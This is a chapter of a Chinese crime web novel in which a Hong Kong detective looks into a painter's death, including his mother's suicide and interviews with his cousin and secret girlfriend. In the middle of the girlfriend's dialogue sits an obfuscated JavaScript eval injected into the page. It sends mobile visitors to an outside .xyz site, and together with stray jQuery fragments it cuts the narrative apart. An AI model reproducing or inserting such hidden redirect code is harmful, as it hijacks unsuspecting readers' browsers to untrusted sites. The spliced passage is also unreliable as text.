如今直面着潘香容的眼睛,那炽热厚重,又带着几分偏执的爱意,实在让人无法承受。
即便是见多了受害者家属的冯智临,也多了几分担忧。
于是,暂时埋藏起这个秘密的冯智临,带着林知夏、刘美飒离开范黄黎家以后,告诉刘美飒:“美飒,待会儿你跟报警专线那边联系一下,这件事告知的时候,要注意方式方法,他母亲怕会难以承受。这样吧,让他们派两个警员过来,确保他们家没什么事儿,再撤走。”
林知夏也有了些不妙的预感,那可是个会以死相逼割腕的母亲,爱的越狂热,失去那份母亲的爱之后,反弹也会越猛烈。大概能想象到得知儿子死亡的消息后,他们家会产生一场怎样的狂风骤雨。
但是,事情终究是瞒不了多久。
当天到了晚上9点,过了十分钟,范黄黎没到家,潘香容就慌了:“老头子,快给儿子打电话,他不是刚买了个大哥大吗?联系他!”
范烁山弱弱地说:“可是儿子作画的时候,一般都不带大哥大。”
“现在都几点了,还不回来?真要急死我了,你赶紧打吧,别那么多废话。”
9点半的时候,仍然没有打通电话,范黄黎从来没有这样过,潘香容直接报了警。
”咚咚咚!“外面有人敲门,范烁山开门的时候,是警署的几名警员赶到:“阿姨在吗?”
“啊,我老伴儿啊,在呢,在打报警电话呢!这是怎么了?今天都第二波警官来了。”
听说消息后,潘香容进了香江市人民医院,是被这个消息刺激的,整个人直接后仰晕倒,不省人事。
过了一天时间,醒过来后,两名警员在旁边照顾,范烁山给老伴用干净的白毛巾擦拭着脑门,也唉声叹气的:“没想到会发生这种事,黑发人送白发人,让我们如何接受啊?”
第二天中午,“扑通!”一声,有什么重重的东西坠地。
医院楼外有一对年轻情侣吓得魂飞魄散,大喊:“有人跳楼了,跳楼了!”
两名警员,原本阿沅为潘香容找镇定药物,大途为她接热水,范烁山寸步不离地看护着潘香容。
而潘香容借口说要上厕所,由于是女厕,范烁山不能入内,潘香容就一个人进去。
没想到她居然扒开了那扇半固定的七层厕所窗口,那样小的一个窗口,她也硬生生钻了过去。万念俱灰之下,半点不假思索地跳了楼。
噩耗传来的时候,重案组皆震惊,林知夏头脑也陷入了一片空白。
太惨烈的一家了,潘香容一心求死,这种情况下,即便是这次没能成功,但警员不可能一直守着,等人员撤回之后,她可能还是会找机会追随儿子而去。
结局大概是必然的。
林知夏替她惋惜的同时,又感到深深的无力,对范黄黎一家遭遇的无力感。
不过,因为范黄黎母亲潘香容的证词,因此,第二起范黄黎的案件中和第一起被害人卢文蕴不同,常年处于这种爱的领域之中,范黄黎本身会不会就有自杀倾向呢?
如今获得的信息远远不够,还需要再做走访,但走访他的亲朋好友和之前的同事,都对范黄黎的情况一无所知。
曾经最好的好友摆摆手:“别来问我,我跟他也早就绝交了,因为范黄黎父母的干涉,人家不想让他跟我们所谓狐朋狗友一起玩,叫他出来喝个酒都不行,管束的实在太严了,这种朋友我也交不起,没这个资格。”
听这话,肯定是对潘香容还有气。一连走访了众人,都是如此,没有更多的线索浮现出来。
直到林知夏发现,这些走访对象中,可能有人说谎。
于是她去找了范黄黎的表妹,她记得,上回询问的时候,问及被害者最近十年单身的情况,表妹说了一句:“是吗?”但很快又肯定了他的单身。
语气有些不对,引起她的注意。这次她要单独再深入问问。
范黄黎表妹宁美月,在香江达德学院读书,恰好中午休息时分,林知夏找到她。
“你们学校附近,有一家好吃的避风塘炒蟹,你还没吃过吧?我带你去啊!”
“警官,你找我来是什么事吗?是不是还是跟我表哥有关?”
“先吃饭,待会儿再说,我肚子饿的咕噜噜叫了。”
林知夏的肚子还真是随时随地会饿。果然,林知夏话音刚落,肚子就发出两声响动。
表妹宁美月忙说:“好啊,警官,那咱们快去吧!”
那家避风塘炒蟹是新开的,店面倒挺干净整洁,玻璃窗里面能看到热火朝天做饭的伙计,烟火气满满。
橱窗外面就是挂满了各种彩色灯条,白天的时候看不出来,一到晚上这里应该非常热闹,彩色灯条闪亮,吸引不少人,傍晚过去吃饭,这附近刚好也有居民区,不缺客源。
林知夏点了三大盆避风塘炒蟹,看得宁美月眼前一亮又一亮,因为桌面上还被摆上了好多蟹粉酥、蝴蝶酥等甜点。
林知夏早就摸清了她的情况,宁美月家经济状况有些拮据,跟她表哥走的比较近,也是因为家里给她的钱总是不够,难以维持正常花销,所以有时候要管她表哥借钱,表哥自然会慷慨地给她一些。
但宁美月一直知道,这是借的,钱是要还的,尤其是范黄黎她妈潘香容,虽和自己是亲戚关系,但潘香容从来明算账,若是知道了这事,也会不顾情面,说不定还要叫她付利息呢!
所以这笔钱她一直都省着花,即便学校门口开着家避风塘炒蟹的店,但价格昂贵,她也从来没进来过。
林知夏这般慷慨大方,她当然有些吃惊。
避风塘炒蟹上来,炒蟹酥脆金黄的外壳吸引了宁美月注意,香味直接窜入鼻腔,任是谁也会被勾出馋虫。
宁美月真有些难以忍受,但还是秉持住良好的修养说:“警官,你先吃。”
“不够咱们再点。”
林知夏直接把一整只避风塘炒蟹推到宁美月面前。
宁美月此刻脑袋顶上进度条开始显现,林知夏微微扬起唇角。
吃饭期间,林知夏一直关心地问这问那,宁美月哪里接受过来自陌生人的诸多善意?慢慢的卸下心防,甚至有时会忘记对面坐着的是一名警官。
毕竟林知夏显得太年轻了,也刚刚大学毕业不久才工作,跟自己年龄基本也没相差几岁,差不多是同龄人了,所以她更把林知夏当成姐姐。
这般熟络以后,好感度不断缓慢增长。
直到这顿饭快吃完的时候,林知夏问:“对了,上回我同事提及范黄黎单身十年的时候,为什么你会感到惊讶呢?”
宁美月一愣,原本还想隐瞒,可这会儿嘴巴已经不受控制地吐露出真话:“因为我表哥有女朋友呀!”
话音一出,宁美月就猛地捂住了嘴巴,“哎呀,我不应该说的,我表哥说这是他的秘密,叫我永远不能说出口,不然舅舅知道了就不好了!”
林知夏安慰她说:“现在是特殊情况,你表哥现在出了事,有可能是自杀,但如果不是呢?那么他身边出现过的所有人,都有可能是嫌疑人,你帮他隐瞒这个事实,就很难让警方离真相更近一步。”
宁美月点点头,“我明白,警官,我其实应该要说的。表哥他……”
宁美月说着说着,眼眶也有些红了。林知夏要了包纸巾,拿给她,让她擦拭眼泪。
“我表哥真的挺可怜的,从小到大都没有自由,成年以后也没有,他要藏起他的女朋友,是不得已而为之。”
“你是怎么发现他有女朋友这件事的?”
“有一次我去找表哥要钱,表哥给了我五千港币,我觉得太多,都回到学校了,又想过去还给他,所以就回去找他。然后就看到,在他作画的小树林里,有个女生一直在旁边陪着他,那女孩子长得可漂亮了,大大的眼睛,双眼皮,皮肤又白又嫩!我表哥能找到这样好的一个嫂子,我还感到开心呢。谁知道一回头,表哥就看见我了,他说让我别把这件事说出去。”
“范黄黎当时在什么位置作画?”
“表哥作画的位置不固定,但基本都在很偏远的地方,小溪边上、林子里,有时候他也会租几个小时的画室。”
“画室在什么位置?”
“在美伢路。”
林知夏点头,跟卢文蕴所在的画室果然不是同一家。
“所以你每次找他之前,都要提前打电话向他确认地址?”
“是啊,我们学校值班处有公用电话,我会用那个电话往表哥家里打,然后我们会约定他第二天到什么位置,我就去找他。”
“你后来没再见过范黄黎女朋友?”
“再没有了,不过,我知道她的小名,叫幽幽,全名我也不知道。”
林知夏松了口气,还好这个小名看起来倒挺独特,找到有这个小名的女人,又和范黄黎有过交集的,应该不算太难。
林知夏吃好了饭,给宁美月又打包了一份她喜欢吃的避风塘炒蟹,叫她带回去,晚上可以再吃,顺便叮嘱她:“你表哥家接连出事,你舅舅应该很难过,有机会多劝劝他,别让他想不开。”
宁美月点点头,拿了那袋避风塘炒蟹:“好。”
她和林知夏摆摆手告别。
林知夏回到西九龙区重案组,开始调查那名叫做“幽幽”的女人的下落。
林知夏经过一天走访排查,终于找到了白幽兰。
白幽兰在一间名为“紫叶棵”的酒吧工作,做的是服务员的营生。不过因为长得漂亮,客人们都愿意给她小费,也多买她一些酒,所以收入总比其他服务人员更高一些。
原本看到白幽兰的照片以后,林知夏和一同前去走访的柳阿萝就大吃一惊。
这么漂亮!等前往酒吧以后,看到刚上完夜班出来的白幽兰本人,更是令人感到震惊,比照片上更多了一份温柔娴静的气质,怪不得受欢迎。
酒吧内的环境阴暗幽深,晚上的生意通常更红火。
与其他服务员装扮有所区别的白幽兰,自然颇受关注。
她不用廉价的化妆品,也不穿超短裤,往往是一条长裙盖过脚踝,也很少接受客人有些过分的要求,而是专注于销售酒。
酒吧老板因为白幽兰长得漂亮,将她留下,而白幽兰在面对那些有些无赖的客人时,也能够脱身而出,正是因为酒吧两名保镖身强力壮,敢惹的直接会被驱赶,甚至殴打一番。
白幽兰要留下来唯一的条件,就是那些臭男人不能纠缠。
林知夏和柳阿萝跟着白幽兰回到她的住处。
她所居住的地方是一处平房,白幽兰用钥匙开门后,请两位警官坐下。
“酒吧老板说,你们有一些事要询问?问吧,我给你们倒水。”
柳阿萝可太好奇了:“你和范黄黎是男女朋友?在一起多长时间了?”
“一年多吧。怎么,你们来找我跟他有关?通常我上完夜班回来会休息,所以他知道我上夜班的时候,就不会来打扰。昨天今天都没来找,应该也正常。不对,警官,他不会是出事了吧?”
林知夏问:“你为什么觉得是他出事了?”
白幽兰顿了一下,说道:“直觉,女人的第六感,我的预感向来很准的。”
林知夏和柳阿萝于是将范黄黎发生的事悉数告知。
白幽兰有些惊讶,但没有表现出极度的震惊,像是早有预料。
“这么说来,你觉得他像自杀?”
白幽兰却摇摇头说:“不像。”
“为什么?”
白幽兰起身说了句“稍等”,回到卧室。里面有一处杂货间,但是被收拾得非常干净,放的不是杂货,而是一些画板。
白幽兰将那些画板依次拿出来,摆在林知夏和柳阿萝面前。
“警官,你们看,最近一个月以来,阿黎的画风风格大有改变。以前会画山间的寺庙、飞瀑、檐角的风铃、夜幕下的渔船,取的都是静谧恬淡之境。警官,你们想必也找过他父母,知道他的家庭状况。阿黎是个很孝顺的人,也很善良。越是这样的性格,就越难摆脱原生家庭。为了不让他母亲伤害自己,他就愿意事事都顺着他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290629|182670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他跟我其实是一样的人。”
说着说着,白幽兰忽然沉默了,似乎有什么激烈的情绪在心头酝酿。
林知夏看得出来,白幽兰和范黄黎两个人更像是一种互相救赎,他们互相取暖,胜过了对纯粹感情的需求。
所以白幽兰竟然对范黄黎的家庭状况并不介意。
白幽兰停顿片刻后开口:“我也是有些故事的,在酒吧工作是因为自由,可以在某种程度上做自我。酒吧老板人不错,不会让别人强迫我,我也可以随时随地用酒精麻痹自己。在夜晚,听着那些劲爆的音乐,看着那些台上扭动的舞者,能某种程度上忘却内心的烦恼。阿黎也一样,他太压抑了,所以选择跟我在一起。而我,骨子里是很叛逆的,但实际上,酒吧里那样的男人,我又看不上。我喜欢有艺术才华的,就像阿黎这样,会画画。虽然他现在名气不如一些大画家,但是他迟早有一天能出头,我相信这一点。我欣赏他画的风格,我们两个是彼此吸引的。”
白幽兰说着,将其中被布盖住的画作掀开来:“我不想看到他最近绘画的风格,所以阿黎不在的时候,我都会用布盖上。警官,你们看看,同样出自一个人之手,但是不是风格大变?”
林知夏和白幽兰看到那些被骤然揭开的画,不禁倒抽一口冷气。
按照绘画的时间顺序开过去,一开始,画作的线条变得扭曲,整幅画作同样是景物,但线条不像以往那般柔和流畅,不断修改的痕迹竟然还留在其上。
整幅画给人不是安静的感觉,反而是吵闹不堪。
而后的画作上浮现出了凭空产生的骷髅头,骷髅背景遍布蔓延,叫人看了有些心悸。
范黄黎开始从自然的淡色,变为大片大片刺目的、饱和度极高的浓色,大片的红,大片的黄,碰撞,给人压抑的感觉,看久了眼睛都有些累。
再然后,他开始画人,但画面中的每一个人状态都不太对劲,不是刀架着脖子、双手垂下,就是身上有伤痕。
如果这些画作暗示范黄黎心里的话,可见他心理已经出现了大的问题,隐约有了自毁的意思。
“这几幅画之后,就是你们所说的画中有他死亡景象的那幅了。”白幽兰叹了口气,“没想到比我想象中来得还是更快一些。”
“发现他画风改变的同时,他言行举止有没有变化?”
“平时不明显,就是噩梦多了。当然,他在我这里是不过夜的,肯定要回家睡,不然他父母不会同意。但阿黎偶尔白天在我这里休息的时候,会突然梦魇,起来之后浑身冒冷汗,其余就和以前一样,没什么大的变化。如果不是亲眼看到她画的这些画,我也难以想象,看起来和往常无异,内心却……”
“那么从范黄黎的画风状态来看,他精神状态不佳,可你为什么觉得他不是自杀呢?”
“警官,我想我的直觉不无道理。阿黎的心理是很强大的,很多以往的伤痛,他已经变得泰然处之,和它们共存,能从他的过往画风看出来。如果要自杀,他很早就自杀了,不会选择等到现在,等到生活越来越好,矛盾逐渐化解,各方面都变得平静的时候。”
柳阿萝问她:“有没有可能范黄黎想娶你,但碍于父母的关系,怕他们不肯接受,所以内心陷入挣扎绝望之中?”
“不,我们两个现在这样的状态挺好的,谁也没有想过要步入婚姻啊。我们只是彼此疗伤的患者罢了。说不定两个人病好了,成为完整的个体,就会分开。他也明白这一点,不会强求。阿黎现在所有的心思都在他的画上,他希望有朝一日,他的画作能让她名扬画界。阿黎的追求纯粹简单,我想不到会有什么原因让他大变风格,除非他是受人影响。”
“那你知道他画风改变那段时间,都接触过什么人吗?”
“这个我不太清楚,他为了保守我们两个在一起的秘密,出去作画时,经常一个人,不会带我一起,除非我要求。而且他一去就是大半天时间,这期间要想见人太容易了。但是至于见什么人,也只有阿黎自己知道。”
林知夏明白了,在白幽兰家其他地方看一看,房间里有关范黄黎的痕迹还真不少。
书架上有大半都摆了各种绘画类的书籍,颜料画板到处都是。
取走了一些可能的证据后,林知夏和柳阿萝回到重案组,把了解到的情况告知冯智临。
冯智临赞道:“不错,你们找到的这些画作很有用处。卢文蕴和范黄黎改变绘画风格,确实要从两个人共有的关系入手。”
只是,第二个被害人范黄黎通常在山野间作画,大片时间空白,见了什么人不得而知。
还得从第一个被害人卢文蕴这里找一找画室工作人员,有印象中找过卢文蕴的人都得排查。
那些人中有想要跟着卢文蕴画画的,所谓的拜师学艺,也有的想要和他达成某种交易,还有画展的策展人邀请他参加策展,更有上层的名流贵客邀请参加各种活动。
卢文蕴比范黄黎在画界的地位高的不止一星半点,影响力早已超出了画界之外,一些颇有规模的会议、宴席,他都会被邀请参与其中。
要说,宴会之上深度交流的人也许不多,但是点头之交那可真就数不胜数。
在这些人当中,找到那个对他施加影响的人,还要同时和范黄黎有联系,并不容易。
闫子豪拉出了一张长长的表格,单是一场宴会的名单足有几百个,看得人头大:“这么多人,怎么排查呀?”
阿杰也在旁边补充:“画家这种职业一般都比较独,一个人在偏远地方待着,一画就是五六个小时。这种情况下,要是跟什么样的人有约也是有可能的,不只是在公众场合,像这种隐藏山林里出现的接触者,我们就更不得而知了。”
“是啊,这完全没有头绪。”
刘美飒在旁边整理完手里的资料,走过来说:“不如从另一条路出发,我认识一个心理学教授,在海外进修的时候就是大拿!现在回国了,不如找他去了解一下这两个画家心理究竟为什么发生了大的转变。他很专业的,有可能会从其他的视角给我们一些参考。”